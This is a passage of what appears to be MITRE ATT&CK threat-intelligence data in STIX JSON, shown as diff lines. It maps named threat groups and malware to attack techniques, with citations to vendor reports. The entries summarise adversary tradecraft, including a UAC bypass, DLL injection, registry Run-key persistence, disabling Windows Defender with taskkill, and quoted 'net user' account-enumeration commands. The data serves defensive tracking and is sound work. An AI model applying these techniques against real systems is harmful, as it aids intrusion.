2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.723Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) malware xxmm contains a UAC bypass tool for privilege escalation.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.075Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.361Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c263ca38-f85d-42ab-b56d-8f6121c3aed6", + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-27T00:09:35.589Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) injects its DLL component into svchost.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a7d1db3-9383-4171-8938-382e9b0375c6", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "modified": "2019-06-24T17:08:51.570Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) uses a customized version of PsExec.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.856Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) can alter the victim's proxy configuration.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ade8c03-2395-4175-9a22-8541836f27cd", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer transfers collected files to a hardcoded C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d361058d-a11b-470d-bed8-44bfd8e50393", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.603Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding to establish persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "Talos MuddyWater May 2019", + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "modified": "2019-06-28T15:30:58.374Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T19:23:13.514Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12547d20-24ca-4145-98b3-dc0849f78ef1", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing Word documents with embedded malicious macros.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c1ec4da-96d9-4173-b944-77c341a19572", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.564Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:33:10.166Z", + "type": "relationship", + "id": "relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has used the Windows command shell to execute commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.669Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used RDP during operations.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a", + "external_references": [ + { + "source_name": "FireEye PLA", + "description": "FireEye Labs. (2014, May 20). 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Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T12:58:44.319Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cef6dedd-1872-4627-bfb0-69e9eeabf508", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) encrypted the collected files' path with AES and then encoded them with base64.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03b18e87-f5f2-4d12-b5b3-2e1ba131b091", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.632Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has targeted manufacturers in the supply chain for the defense industry.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1e20caf-cba3-4d4c-a5d4-0a06ce224b78", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "modified": "2019-03-22T20:15:19.380Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "modified": "2019-03-22T19:59:27.004Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) delivered [RATANKBA](https://attack.mitre.org/software/S0241) to victims via a compromised legitimate website.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--829f88fc-453a-40d1-8566-90dfe0934173", + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.089Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ade72dc6-559e-4a84-9024-1a862faec6a0", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.521Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can attempt to disable security features in Microsoft Office and Windows Defender using the taskkill command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92e8e517-aac5-4d8f-9752-83ee0710f568", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.633Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used HTTP for C2 communications. [APT19](https://attack.mitre.org/groups/G0073) also used an HTTP malware variant to communicate over HTTP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a6c44ec-a1de-4fbc-88ef-d3003137a2fc", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.042Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use multiple backdoors per campaign.", + "type": "relationship", + "created": "2018-01-16T21:43:14.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de", + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "modified": "2019-04-29T18:01:20.244Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.636Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--773e99eb-0739-42d3-afaa-aff65e86329d", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:06:12.694Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "relationship_type": "uses", + "target_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e", + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "modified": "2019-05-30T18:05:32.675Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [CozyCar](https://attack.mitre.org/software/S0046) allows arbitrary commands to be executed by invoking C:\\Windows\\System32\\cmd.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.078Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has collected files from a local victim.", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38a72b32-dc04-493d-8b92-31174c32f3ed", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.696Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:12:19.163Z", + "type": "relationship", + "id": "relationship--5a491b91-739f-498b-b8f2-b14aaea07893", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.026Z", + "source_ref": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to enumerate user accounts: net user >> %temp%\\download net user /domain >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4962ae6-91e2-407d-9f42-aa0381574476", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.062Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list connected devices.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + 